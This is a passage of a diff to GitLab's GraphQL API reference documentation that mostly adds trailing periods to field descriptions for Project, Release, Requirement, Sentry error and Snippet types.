`printingMergeRequestLinkEnabled` | Boolean | Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line | -| `projectMembers` | MemberInterfaceConnection | Members of the project | -| `publicJobs` | Boolean | Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts | -| `release` | Release | A single release of the project | -| `releases` | ReleaseConnection | Releases of the project | -| `removeSourceBranchAfterMerge` | Boolean | Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project | -| `repository` | Repository | Git repository of the project | -| `repositorySizeExcess` | Float | Size of repository that exceeds the limit in bytes | -| `requestAccessEnabled` | Boolean | Indicates if users can request member access to the project | -| `requirement` | Requirement | Find a single requirement | -| `requirementStatesCount` | RequirementStatesCount | Number of requirements for the project by their state | -| `requirements` | RequirementConnection | Find requirements | -| `sastCiConfiguration` | SastCiConfiguration | SAST CI configuration for the project | -| `securityDashboardPath` | String | Path to project's security dashboard | -| `securityScanners` | SecurityScanners | Information about security analyzers used in the project | -| `sentryDetailedError` | SentryDetailedError | Detailed version of a Sentry error on the project | -| `sentryErrors` | SentryErrorCollection | Paginated collection of Sentry errors on the project | +| `milestones` | MilestoneConnection | Milestones of the project. | +| `name` | String! | Name of the project (without namespace). | +| `nameWithNamespace` | String! | Full name of the project with its namespace. | +| `namespace` | Namespace | Namespace of the project. | +| `onlyAllowMergeIfAllDiscussionsAreResolved` | Boolean | Indicates if merge requests of the project can only be merged when all the discussions are resolved. | +| `onlyAllowMergeIfPipelineSucceeds` | Boolean | Indicates if merge requests of the project can only be merged with successful jobs. | +| `openIssuesCount` | Int | Number of open issues for the project. | +| `packages` | PackageConnection | Packages of the project. | +| `path` | String! | Path of the project. | +| `pipeline` | Pipeline | Build pipeline of the project. | +| `pipelineAnalytics` | PipelineAnalytics | Pipeline analytics. | +| `pipelines` | PipelineConnection | Build pipelines of the project. | +| `printingMergeRequestLinkEnabled` | Boolean | Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line. | +| `projectMembers` | MemberInterfaceConnection | Members of the project. | +| `publicJobs` | Boolean | Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts. | +| `release` | Release | A single release of the project. | +| `releases` | ReleaseConnection | Releases of the project. | +| `removeSourceBranchAfterMerge` | Boolean | Indicates if `Delete source branch` option should be enabled by default for all new merge requests of the project. | +| `repository` | Repository | Git repository of the project. | +| `repositorySizeExcess` | Float | Size of repository that exceeds the limit in bytes. | +| `requestAccessEnabled` | Boolean | Indicates if users can request member access to the project. | +| `requirement` | Requirement | Find a single requirement. | +| `requirementStatesCount` | RequirementStatesCount | Number of requirements for the project by their state. | +| `requirements` | RequirementConnection | Find requirements. | +| `sastCiConfiguration` | SastCiConfiguration | SAST CI configuration for the project. | +| `securityDashboardPath` | String | Path to project's security dashboard. | +| `securityScanners` | SecurityScanners | Information about security analyzers used in the project. | +| `sentryDetailedError` | SentryDetailedError | Detailed version of a Sentry error on the project. | +| `sentryErrors` | SentryErrorCollection | Paginated collection of Sentry errors on the project. | | `serviceDeskAddress` | String | E-mail address of the service desk. | | `serviceDeskEnabled` | Boolean | Indicates if the project has service desk enabled. | -| `services` | ServiceConnection | Project services | -| `sharedRunnersEnabled` | Boolean | Indicates if shared runners are enabled for the project | -| `snippets` | SnippetConnection | Snippets of the project | +| `services` | ServiceConnection | Project services. | +| `sharedRunnersEnabled` | Boolean | Indicates if shared runners are enabled for the project. | +| `snippets` | SnippetConnection | Snippets of the project. | | `snippetsEnabled` | Boolean | Indicates if Snippets are enabled for the current user | -| `squashReadOnly` | Boolean! | Indicates if squash readonly is enabled | -| `sshUrlToRepo` | String | URL to connect to the project via SSH | -| `starCount` | Int! | Number of times the project has been starred | -| `statistics` | ProjectStatistics | Statistics of the project | -| `suggestionCommitMessage` | String | The commit message used to apply merge request suggestions | -| `tagList` | String | List of project topics (not Git tags) | -| `terraformStates` | TerraformStateConnection | Terraform states associated with the project | +| `squashReadOnly` | Boolean! | Indicates if `squashReadOnly` is enabled. | +| `sshUrlToRepo` | String | URL to connect to the project via SSH. | +| `starCount` | Int! | Number of times the project has been starred. | +| `statistics` | ProjectStatistics | Statistics of the project. | +| `suggestionCommitMessage` | String | The commit message used to apply merge request suggestions. | +| `tagList` | String | List of project topics (not Git tags). | +| `terraformState` | TerraformState | Find a single Terraform state by name. | +| `terraformStates` | TerraformStateConnection | Terraform states associated with the project. | | `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource | -| `visibility` | String | Visibility of the project | -| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the project | -| `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the project | -| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilties | -| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the project | -| `webUrl` | String | Web URL of the project | +| `visibility` | String | Visibility of the project. | +| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the project. | +| `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the project. | +| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilities. | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the project. | +| `webUrl` | String | Web URL of the project. | | `wikiEnabled` | Boolean | Indicates if Wikis are enabled for the current user | ### ProjectCiCdSetting @@ -2803,14 +3001,14 @@ Represents a Project Membership. | Field | Type | Description | | ----- | ---- | ----------- | -| `accessLevel` | AccessLevel | GitLab::Access level | -| `createdAt` | Time | Date and time the membership was created | -| `createdBy` | User | User that authorized membership | -| `expiresAt` | Time | Date and time the membership expires | -| `id` | ID! | ID of the member | -| `project` | Project | Project that User is a member of | -| `updatedAt` | Time | Date and time the membership was last updated | -| `user` | User! | User that is associated with the member object | +| `accessLevel` | AccessLevel | GitLab::Access level. | +| `createdAt` | Time | Date and time the membership was created. | +| `createdBy` | User | User that authorized membership. | +| `expiresAt` | Time | Date and time the membership expires. | +| `id` | ID! | ID of the member. | +| `project` | Project | Project that User is a member of. | +| `updatedAt` | Time | Date and time the membership was last updated. | +| `user` | User! | User that is associated with the member object. | | `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource | ### ProjectPermissions @@ -2864,15 +3062,15 @@ Represents a Project Membership. | Field | Type | Description | | ----- | ---- | ----------- | -| `buildArtifactsSize` | Float! | Build artifacts size of the project in bytes | -| `commitCount` | Float! | Commit count of the project | -| `lfsObjectsSize` | Float! | Large File Storage (LFS) object size of the project in bytes | -| `packagesSize` | Float! | Packages size of the project in bytes | -| `repositorySize` | Float! | Repository size of the project in bytes | -| `snippetsSize` | Float | Snippets size of the project in bytes | -| `storageSize` | Float! | Storage size of the project in bytes | -| `uploadsSize` | Float | Uploads size of the project in bytes | -| `wikiSize` | Float | Wiki size of the project in bytes | +| `buildArtifactsSize` | Float! | Build artifacts size of the project in bytes. | +| `commitCount` | Float! | Commit count of the project. | +| `lfsObjectsSize` | Float! | Large File Storage (LFS) object size of the project in bytes. | +| `packagesSize` | Float! | Packages size of the project in bytes. | +| `repositorySize` | Float! | Repository size of the project in bytes. | +| `snippetsSize` | Float | Snippets size of the project in bytes. | +| `storageSize` | Float! | Storage size of the project in bytes. | +| `uploadsSize` | Float | Uploads size of the project in bytes. | +| `wikiSize` | Float | Wiki size of the project in bytes. | ### PrometheusAlert @@ -2880,8 +3078,8 @@ The alert condition for Prometheus. | Field | Type | Description | | ----- | ---- | ----------- | -| `humanizedText` | String! | The human-readable text of the alert condition | -| `id` | ID! | ID of the alert condition | +| `humanizedText` | String! | The human-readable text of the alert condition. | +| `id` | ID! | ID of the alert condition. | ### PrometheusIntegrationCreatePayload @@ -2930,20 +3128,20 @@ Represents a release. | Field | Type | Description | | ----- | ---- | ----------- | -| `assets` | ReleaseAssets | Assets of the release | -| `author` | User | User that created the release | -| `commit` | Commit | The commit associated with the release | -| `createdAt` | Time | Timestamp of when the release was created | -| `description` | String | Description (also known as "release notes") of the release | +| `assets` | ReleaseAssets | Assets of the release. | +| `author` | User | User that created the release. | +| `commit` | Commit | The commit associated with the release. | +| `createdAt` | Time | Timestamp of when the release was created. | +| `description` | String | Description (also known as "release notes") of the release. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `evidences` | ReleaseEvidenceConnection | Evidence for the release | -| `links` | ReleaseLinks | Links of the release | -| `milestones` | MilestoneConnection | Milestones associated to the release | -| `name` | String | Name of the release | -| `releasedAt` | Time | Timestamp of when the release was released | -| `tagName` | String | Name of the tag associated with the release | -| `tagPath` | String | Relative web path to the tag associated with the release | -| `upcomingRelease` | Boolean | Indicates the release is an upcoming release | +| `evidences` | ReleaseEvidenceConnection | Evidence for the release. | +| `links` | ReleaseLinks | Links of the release. | +| `milestones` | MilestoneConnection | Milestones associated to the release. | +| `name` | String | Name of the release. | +| `releasedAt` | Time | Timestamp of when the release was released. | +| `tagName` | String | Name of the tag associated with the release. | +| `tagPath` | String | Relative web path to the tag associated with the release. | +| `upcomingRelease` | Boolean | Indicates the release is an upcoming release. | ### ReleaseAssetLink @@ -2951,12 +3149,12 @@ Represents an asset link associated with a release. | Field | Type | Description | | ----- | ---- | ----------- | -| `directAssetUrl` | String | Direct asset URL of the link | -| `external` | Boolean | Indicates the link points to an external resource | -| `id` | ID! | ID of the link | -| `linkType` | ReleaseAssetLinkType | Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other` | -| `name` | String | Name of the link | -| `url` | String | URL of the link | +| `directAssetUrl` | String | Direct asset URL of the link. | +| `external` | Boolean | Indicates the link points to an external resource. | +| `id` | ID! | ID of the link. | +| `linkType` | ReleaseAssetLinkType | Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`. | +| `name` | String | Name of the link. | +| `url` | String | URL of the link. | ### ReleaseAssets @@ -2964,9 +3162,9 @@ A container for all assets associated with a release. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int | Number of assets of the release | -| `links` | ReleaseAssetLinkConnection | Asset links of the release | -| `sources` | ReleaseSourceConnection | Sources of the release | +| `count` | Int | Number of assets of the release. | +| `links` | ReleaseAssetLinkConnection | Asset links of the release. | +| `sources` | ReleaseSourceConnection | Sources of the release. | ### ReleaseCreatePayload @@ -2994,22 +3192,22 @@ Evidence for a release. | Field | Type | Description | | ----- | ---- | ----------- | -| `collectedAt` | Time | Timestamp when the evidence was collected | -| `filepath` | String | URL from where the evidence can be downloaded | -| `id` | ID! | ID of the evidence | -| `sha` | String | SHA1 ID of the evidence hash | +| `collectedAt` | Time | Timestamp when the evidence was collected. | +| `filepath` | String | URL from where the evidence can be downloaded. | +| `id` | ID! | ID of the evidence. | +| `sha` | String | SHA1 ID of the evidence hash. | ### ReleaseLinks | Field | Type | Description | | ----- | ---- | ----------- | -| `closedIssuesUrl` | String | HTTP URL of the issues page, filtered by this release and `state=closed` | -| `closedMergeRequestsUrl` | String | HTTP URL of the merge request page , filtered by this release and `state=closed` | -| `editUrl` | String | HTTP URL of the release's edit page | -| `mergedMergeRequestsUrl` | String | HTTP URL of the merge request page , filtered by this release and `state=merged` | -| `openedIssuesUrl` | String | HTTP URL of the issues page, filtered by this release and `state=open` | -| `openedMergeRequestsUrl` | String | HTTP URL of the merge request page, filtered by this release and `state=open` | -| `selfUrl` | String | HTTP URL of the release | +| `closedIssuesUrl` | String | HTTP URL of the issues page, filtered by this release and `state=closed`. | +| `closedMergeRequestsUrl` | String | HTTP URL of the merge request page , filtered by this release and `state=closed`. | +| `editUrl` | String | HTTP URL of the release's edit page. | +| `mergedMergeRequestsUrl` | String | HTTP URL of the merge request page , filtered by this release and `state=merged`. | +| `openedIssuesUrl` | String | HTTP URL of the issues page, filtered by this release and `state=open`. | +| `openedMergeRequestsUrl` | String | HTTP URL of the merge request page, filtered by this release and `state=open`. | +| `selfUrl` | String | HTTP URL of the release. | ### ReleaseSource @@ -3017,8 +3215,8 @@ Represents the source code attached to a release in a particular format. | Field | Type | Description | | ----- | ---- | ----------- | -| `format` | String | Format of the source | -| `url` | String | Download URL of the source | +| `format` | String | Format of the source. | +| `url` | String | Download URL of the source. | ### ReleaseUpdatePayload @@ -3063,10 +3261,10 @@ Autogenerated return type of RepositionImageDiffNote. | Field | Type | Description | | ----- | ---- | ----------- | -| `empty` | Boolean! | Indicates repository has no visible content | -| `exists` | Boolean! | Indicates a corresponding Git repository exists on disk | -| `rootRef` | String | Default branch of the repository | -| `tree` | Tree | Tree of the repository | +| `empty` | Boolean! | Indicates repository has no visible content. | +| `exists` | Boolean! | Indicates a corresponding Git repository exists on disk. | +| `rootRef` | String | Default branch of the repository. | +| `tree` | Tree | Tree of the repository. | ### Requirement @@ -3074,20 +3272,20 @@ Represents a requirement. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User! | Author of the requirement | -| `createdAt` | Time! | Timestamp of when the requirement was created | -| `description` | String | Description of the requirement | +| `author` | User! | Author of the requirement. | +| `createdAt` | Time! | Timestamp of when the requirement was created. | +| `description` | String | Description of the requirement. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `id` | ID! | ID of the requirement | -| `iid` | ID! | Internal ID of the requirement | -| `lastTestReportManuallyCreated` | Boolean | Indicates if latest test report was created by user | -| `lastTestReportState` | TestReportState | Latest requirement test report state | -| `project` | Project! | Project to which the requirement belongs | -| `state` | RequirementState! | State of the requirement | -| `testReports` | TestReportConnection | Test reports of the requirement | -| `title` | String | Title of the requirement | +| `id` | ID! | ID of the requirement. | +| `iid` | ID! | Internal ID of the requirement. | +| `lastTestReportManuallyCreated` | Boolean | Indicates if latest test report was created by user. | +| `lastTestReportState` | TestReportState | Latest requirement test report state. | +| `project` | Project! | Project to which the requirement belongs. | +| `state` | RequirementState! | State of the requirement. | +| `testReports` | TestReportConnection | Test reports of the requirement. | +| `title` | String | Title of the requirement. | | `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` | -| `updatedAt` | Time! | Timestamp of when the requirement was last updated | +| `updatedAt` | Time! | Timestamp of when the requirement was last updated. | | `userPermissions` | RequirementPermissions! | Permissions for the current user on the resource | ### RequirementPermissions @@ -3108,8 +3306,8 @@ Counts of requirements by their state. | Field | Type | Description | | ----- | ---- | ----------- | -| `archived` | Int | Number of archived requirements | -| `opened` | Int | Number of opened requirements | +| `archived` | Int | Number of archived requirements. | +| `opened` | Int | Number of opened requirements. | ### RevertVulnerabilityToDetectedPayload @@ -3125,15 +3323,15 @@ Autogenerated return type of RevertVulnerabilityToDetected. | Field | Type | Description | | ----- | ---- | ----------- | -| `buildArtifactsSize` | Float! | The CI artifacts size in bytes | -| `lfsObjectsSize` | Float! | The LFS objects size in bytes | -| `packagesSize` | Float! | The packages size in bytes | -| `pipelineArtifactsSize` | Float! | The CI pipeline artifacts size in bytes | -| `repositorySize` | Float! | The Git repository size in bytes | -| `snippetsSize` | Float! | The snippets size in bytes | -| `storageSize` | Float! | The total storage in bytes | -| `uploadsSize` | Float! | The uploads size in bytes | -| `wikiSize` | Float! | The wiki size in bytes | +| `buildArtifactsSize` | Float! | The CI artifacts size in bytes. | +| `lfsObjectsSize` | Float! | The LFS objects size in bytes. | +| `packagesSize` | Float! | The packages size in bytes. | +| `pipelineArtifactsSize` | Float! | The CI pipeline artifacts size in bytes. | +| `repositorySize` | Float! | The Git repository size in bytes. | +| `snippetsSize` | Float! | The snippets size in bytes. | +| `storageSize` | Float! | The total storage in bytes. | +| `uploadsSize` | Float! | The uploads size in bytes. | +| `wikiSize` | Float! | The wiki size in bytes. | ### RunDASTScanPayload @@ -3149,23 +3347,23 @@ Autogenerated return type of RunDASTScan. | Field | Type | Description | | ----- | ---- | ----------- | -| `downloadLocation` | String! | Download location for the runner for the platform architecture | -| `name` | String! | Name of the runner platform architecture | +| `downloadLocation` | String! | Download location for the runner for the platform architecture. | +| `name` | String! | Name of the runner platform architecture. | ### RunnerPlatform | Field | Type | Description | | ----- | ---- | ----------- | -| `architectures` | RunnerArchitectureConnection | Runner architectures supported for the platform | -| `humanReadableName` | String! | Human readable name of the runner platform | -| `name` | String! | Name slug of the runner platform | +| `architectures` | RunnerArchitectureConnection | Runner architectures supported for the platform. | +| `humanReadableName` | String! | Human readable name of the runner platform. | +| `name` | String! | Name slug of the runner platform. | ### RunnerSetup | Field | Type | Description | | ----- | ---- | ----------- | -| `installInstructions` | String! | Instructions for installing the runner on the specified architecture | -| `registerInstructions` | String | Instructions for registering the runner | +| `installInstructions` | String! | Instructions for installing the runner on the specified architecture. | +| `registerInstructions` | String | Instructions for registering the runner. | ### SastCiConfiguration @@ -3183,11 +3381,11 @@ Represents an analyzer entity in SAST CI configuration. | Field | Type | Description | | ----- | ---- | ----------- | -| `description` | String | Analyzer description that is displayed on the form | -| `enabled` | Boolean | Indicates whether an analyzer is enabled | -| `label` | String | Analyzer label used in the config UI | -| `name` | String | Name of the analyzer | -| `variables` | SastCiConfigurationEntityConnection | List of supported variables | +| `description` | String | Analyzer description that is displayed on the form. | +| `enabled` | Boolean | Indicates whether an analyzer is enabled. | +| `label` | String | Analyzer label used in the config UI. | +| `name` | String | Name of the analyzer. | +| `variables` | SastCiConfigurationEntityConnection | List of supported variables. | ### SastCiConfigurationEntity @@ -3219,8 +3417,8 @@ Represents a resource scanned by a security scan. | Field | Type | Description | | ----- | ---- | ----------- | -| `requestMethod` | String | The HTTP request method used to access the URL | -| `url` | String | The URL scanned by the scanner | +| `requestMethod` | String | The HTTP request method used to access the URL. | +| `url` | String | The URL scanned by the scanner. | ### SecurityReportSummary @@ -3228,13 +3426,13 @@ Represents summary of a security report. | Field | Type | Description | | ----- | ---- | ----------- | -| `apiFuzzing` | SecurityReportSummarySection | Aggregated counts for the api_fuzzing scan | -| `containerScanning` | SecurityReportSummarySection | Aggregated counts for the container_scanning scan | -| `coverageFuzzing` | SecurityReportSummarySection | Aggregated counts for the coverage_fuzzing scan | -| `dast` | SecurityReportSummarySection | Aggregated counts for the dast scan | -| `dependencyScanning` | SecurityReportSummarySection | Aggregated counts for the dependency_scanning scan | -| `sast` | SecurityReportSummarySection | Aggregated counts for the sast scan | -| `secretDetection` | SecurityReportSummarySection | Aggregated counts for the secret_detection scan | +| `apiFuzzing` | SecurityReportSummarySection | Aggregated counts for the `api_fuzzing` scan | +| `containerScanning` | SecurityReportSummarySection | Aggregated counts for the `container_scanning` scan | +| `coverageFuzzing` | SecurityReportSummarySection | Aggregated counts for the `coverage_fuzzing` scan | +| `dast` | SecurityReportSummarySection | Aggregated counts for the `dast` scan | +| `dependencyScanning` | SecurityReportSummarySection | Aggregated counts for the `dependency_scanning` scan | +| `sast` | SecurityReportSummarySection | Aggregated counts for the `sast` scan | +| `secretDetection` | SecurityReportSummarySection | Aggregated counts for the `secret_detection` scan | ### SecurityReportSummarySection @@ -3242,10 +3440,10 @@ Represents a section of a summary of a security report. | Field | Type | Description | | ----- | ---- | ----------- | -| `scannedResources` | ScannedResourceConnection | A list of the first 20 scanned resources | -| `scannedResourcesCount` | Int | Total number of scanned resources | -| `scannedResourcesCsvPath` | String | Path to download all the scanned resources in CSV format | -| `vulnerabilitiesCount` | Int | Total number of vulnerabilities | +| `scannedResources` | ScannedResourceConnection | A list of the first 20 scanned resources. | +| `scannedResourcesCount` | Int | Total number of scanned resources. | +| `scannedResourcesCsvPath` | String | Path to download all the scanned resources in CSV format. | +| `vulnerabilitiesCount` | Int | Total number of vulnerabilities. | ### SecurityScanners @@ -3263,34 +3461,34 @@ A Sentry error. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | Count of occurrences | -| `culprit` | String! | Culprit of the error | -| `externalBaseUrl` | String! | External Base URL of the Sentry Instance | -| `externalUrl` | String! | External URL of the error | -| `firstReleaseLastCommit` | String | Commit the error was first seen | -| `firstReleaseShortVersion` | String | Release short version the error was first seen | -| `firstReleaseVersion` | String | Release version the error was first seen | -| `firstSeen` | Time! | Timestamp when the error was first seen | -| `frequency` | SentryErrorFrequency! => Array | Last 24hr stats of the error | -| `gitlabCommit` | String | GitLab commit SHA attributed to the Error based on the release version | -| `gitlabCommitPath` | String | Path to the GitLab page for the GitLab commit attributed to the error | -| `gitlabIssuePath` | String | URL of GitLab Issue | -| `id` | ID! | ID (global ID) of the error | -| `lastReleaseLastCommit` | String | Commit the error was last seen | -| `lastReleaseShortVersion` | String | Release short version the error was last seen | -| `lastReleaseVersion` | String | Release version the error was last seen | -| `lastSeen` | Time! | Timestamp when the error was last seen | -| `message` | String | Sentry metadata message of the error | -| `sentryId` | String! | ID (Sentry ID) of the error | -| `sentryProjectId` | ID! | ID of the project (Sentry project) | -| `sentryProjectName` | String! | Name of the project affected by the error | -| `sentryProjectSlug` | String! | Slug of the project affected by the error | -| `shortId` | String! | Short ID (Sentry ID) of the error | -| `status` | SentryErrorStatus! | Status of the error | -| `tags` | SentryErrorTags! | Tags associated with the Sentry Error | -| `title` | String! | Title of the error | -| `type` | String! | Type of the error | -| `userCount` | Int! | Count of users affected by the error | +| `count` | Int! | Count of occurrences. | +| `culprit` | String! | Culprit of the error. | +| `externalBaseUrl` | String! | External Base URL of the Sentry Instance. | +| `externalUrl` | String! | External URL of the error. | +| `firstReleaseLastCommit` | String | Commit the error was first seen. | +| `firstReleaseShortVersion` | String | Release short version the error was first seen. | +| `firstReleaseVersion` | String | Release version the error was first seen. | +| `firstSeen` | Time! | Timestamp when the error was first seen. | +| `frequency` | SentryErrorFrequency! => Array | Last 24hr stats of the error. | +| `gitlabCommit` | String | GitLab commit SHA attributed to the Error based on the release version. | +| `gitlabCommitPath` | String | Path to the GitLab page for the GitLab commit attributed to the error. | +| `gitlabIssuePath` | String | URL of GitLab Issue. | +| `id` | ID! | ID (global ID) of the error. | +| `lastReleaseLastCommit` | String | Commit the error was last seen. | +| `lastReleaseShortVersion` | String | Release short version the error was last seen. | +| `lastReleaseVersion` | String | Release version the error was last seen. | +| `lastSeen` | Time! | Timestamp when the error was last seen. | +| `message` | String | Sentry metadata message of the error. | +| `sentryId` | String! | ID (Sentry ID) of the error. | +| `sentryProjectId` | ID! | ID of the project (Sentry project). | +| `sentryProjectName` | String! | Name of the project affected by the error. | +| `sentryProjectSlug` | String! | Slug of the project affected by the error. | +| `shortId` | String! | Short ID (Sentry ID) of the error. | +| `status` | SentryErrorStatus! | Status of the error. | +| `tags` | SentryErrorTags! | Tags associated with the Sentry Error. | +| `title` | String! | Title of the error. | +| `type` | String! | Type of the error. | +| `userCount` | Int! | Count of users affected by the error. | ### SentryError @@ -3298,23 +3496,23 @@ A Sentry error. A simplified version of SentryDetailedError. | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | Count of occurrences | -| `culprit` | String! | Culprit of the error | -| `externalUrl` | String! | External URL of the error | -| `firstSeen` | Time! | Timestamp when the error was first seen | -| `frequency` | SentryErrorFrequency! => Array | Last 24hr stats of the error | -| `id` | ID! | ID (global ID) of the error | -| `lastSeen` | Time! | Timestamp when the error was last seen | -| `message` | String | Sentry metadata message of the error | -| `sentryId` | String! | ID (Sentry ID) of the error | -| `sentryProjectId` | ID! | ID of the project (Sentry project) | -| `sentryProjectName` | String! | Name of the project affected by the error | -| `sentryProjectSlug` | String! | Slug of the project affected by the error | -| `shortId` | String! | Short ID (Sentry ID) of the error | -| `status` | SentryErrorStatus! | Status of the error | -| `title` | String! | Title of the error | -| `type` | String! | Type of the error | -| `userCount` | Int! | Count of users affected by the error | +| `count` | Int! | Count of occurrences. | +| `culprit` | String! | Culprit of the error. | +| `externalUrl` | String! | External URL of the error. | +| `firstSeen` | Time! | Timestamp when the error was first seen. | +| `frequency` | SentryErrorFrequency! => Array | Last 24hr stats of the error. | +| `id` | ID! | ID (global ID) of the error. | +| `lastSeen` | Time! | Timestamp when the error was last seen. | +| `message` | String | Sentry metadata message of the error. | +| `sentryId` | String! | ID (Sentry ID) of the error. | +| `sentryProjectId` | ID! | ID of the project (Sentry project). | +| `sentryProjectName` | String! | Name of the project affected by the error. | +| `sentryProjectSlug` | String! | Slug of the project affected by the error. | +| `shortId` | String! | Short ID (Sentry ID) of the error. | +| `status` | SentryErrorStatus! | Status of the error. | +| `title` | String! | Title of the error. | +| `type` | String! | Type of the error. | +| `userCount` | Int! | Count of users affected by the error. | ### SentryErrorCollection @@ -3322,17 +3520,17 @@ An object containing a collection of Sentry errors, and a detailed error. | Field | Type | Description | | ----- | ---- | ----------- | -| `detailedError` | SentryDetailedError | Detailed version of a Sentry error on the project | -| `errorStackTrace` | SentryErrorStackTrace | Stack Trace of Sentry Error | -| `errors` | SentryErrorConnection | Collection of Sentry Errors | -| `externalUrl` | String | External URL for Sentry | +| `detailedError` | SentryDetailedError | Detailed version of a Sentry error on the project. | +| `errorStackTrace` | SentryErrorStackTrace | Stack Trace of Sentry Error. | +| `errors` | SentryErrorConnection | Collection of Sentry Errors. | +| `externalUrl` | String | External URL for Sentry. | ### SentryErrorFrequency | Field | Type | Description | | ----- | ---- | ----------- | -| `count` | Int! | Count of errors received since the previously recorded time | -| `time` | Time! | Time the error frequency stats were recorded | +| `count` | Int! | Count of errors received since the previously recorded time. | +| `time` | Time! | Time the error frequency stats were recorded. | ### SentryErrorStackTrace @@ -3340,9 +3538,9 @@ An object containing a stack trace entry for a Sentry error. | Field | Type | Description | | ----- | ---- | ----------- | -| `dateReceived` | String! | Time the stack trace was received by Sentry | -| `issueId` | String! | ID of the Sentry error | -| `stackTraceEntries` | SentryErrorStackTraceEntry! => Array | Stack trace entries for the Sentry error | +| `dateReceived` | String! | Time the stack trace was received by Sentry. | +| `issueId` | String! | ID of the Sentry error. | +| `stackTraceEntries` | SentryErrorStackTraceEntry! => Array | Stack trace entries for the Sentry error. | ### SentryErrorStackTraceContext @@ -3350,8 +3548,8 @@ An object context for a Sentry error stack trace. | Field | Type | Description | | ----- | ---- | ----------- | -| `code` | String! | Code number of the context | -| `line` | Int! | Line number of the context | +| `code` | String! | Code number of the context. | +| `line` | Int! | Line number of the context. | ### SentryErrorStackTraceEntry @@ -3359,11 +3557,11 @@ An object containing a stack trace entry for a Sentry error. | Field | Type | Description | | ----- | ---- | ----------- | -| `col` | String | Function in which the Sentry error occurred | -| `fileName` | String | File in which the Sentry error occurred | -| `function` | String | Function in which the Sentry error occurred | -| `line` | String | Function in which the Sentry error occurred | -| `traceContext` | SentryErrorStackTraceContext! => Array | Context of the Sentry error | +| `col` | String | Function in which the Sentry error occurred. | +| `fileName` | String | File in which the Sentry error occurred. | +| `function` | String | Function in which the Sentry error occurred. | +| `line` | String | Function in which the Sentry error occurred. | +| `traceContext` | SentryErrorStackTraceContext! => Array | Context of the Sentry error. | ### SentryErrorTags @@ -3371,8 +3569,8 @@ State of a Sentry error. | Field | Type | Description | | ----- | ---- | ----------- | -| `level` | String | Severity level of the Sentry Error | -| `logger` | String | Logger of the Sentry Error | +| `level` | String | Severity level of the Sentry Error. | +| `logger` | String | Logger of the Sentry Error. | ### Snippet @@ -3380,25 +3578,25 @@ Represents a snippet entry. | Field | Type | Description | | ----- | ---- | ----------- | -| `author` | User | The owner of the snippet | +| `author` | User | The owner of the snippet. | | `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3. | -| `blobs` | SnippetBlobConnection | Snippet blobs | -| `createdAt` | Time! | Timestamp this snippet was created | -| `description` | String | Description of the snippet | +| `blobs` | SnippetBlobConnection | Snippet blobs. | +| `createdAt` | Time! | Timestamp this snippet was created. | +| `description` | String | Description of the snippet. | | `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `fileName` | String | File Name of the snippet | -| `httpUrlToRepo` | String | HTTP URL to the snippet repository | -| `id` | SnippetID! | ID of the snippet | -| `notes` | NoteConnection! | All notes on this noteable | -| `project` | Project | The project the snippet is associated with | -| `rawUrl` | String! | Raw URL of the snippet | -| `sshUrlToRepo` | String | SSH URL to the snippet repository | -| `title` | String! | Title of the snippet | -| `updatedAt` | Time! | Timestamp this snippet was updated | +| `discussions` | DiscussionConnection! | All discussions on this noteable. | +| `fileName` | String | File Name of the snippet. | +| `httpUrlToRepo` | String | HTTP URL to the snippet repository. | +| `id` | SnippetID! | ID of the snippet. | +| `notes` | NoteConnection! | All notes on this noteable. | +| `project` | Project | The project the snippet is associated with. | +| `rawUrl` | String! | Raw URL of the snippet. | +| `sshUrlToRepo` | String | SSH URL to the snippet repository. | +| `title` | String! | Title of the snippet. | +| `updatedAt` | Time! | Timestamp this snippet was updated. | | `userPermissions` | SnippetPermissions! | Permissions for the current user on the resource | -| `visibilityLevel` | VisibilityLevelsEnum! | Visibility Level of the snippet | -| `webUrl` | String! | Web URL of the snippet | +| `visibilityLevel` | VisibilityLevelsEnum! | Visibility Level of the snippet. | +| `webUrl` | String! | Web URL of the snippet. | ### SnippetBlob @@ -3406,18 +3604,18 @@ Represents the snippet blob. | Field | Type | Description | | ----- | ---- | ----------- | -| `binary` | Boolean! | Shows whether the blob is binary | -| `externalStorage` | String | Blob external storage | -| `mode` | String | Blob mode | -| `name` | String | Blob name | -| `path` | String | Blob path | -| `plainData` | String | Blob plain highlighted data | -| `rawPath` | String! | Blob raw content endpoint path | -| `renderedAsText` | Boolean! | Shows whether the blob is rendered as text | -| `richData` | String | Blob highlighted data | -| `richViewer` | SnippetBlobViewer | Blob content rich viewer | -| `simpleViewer` | SnippetBlobViewer! | Blob content simple viewer | -| `size` | Int! | Blob size | +| `binary` | Boolean! | Shows whether the blob is binary. | +| `externalStorage` | String | Blob external storage. | +| `mode` | String | Blob mode. | +| `name` | String | Blob name. | +| `path` | String | Blob path. | +| `plainData` | String | Blob plain highlighted data. | 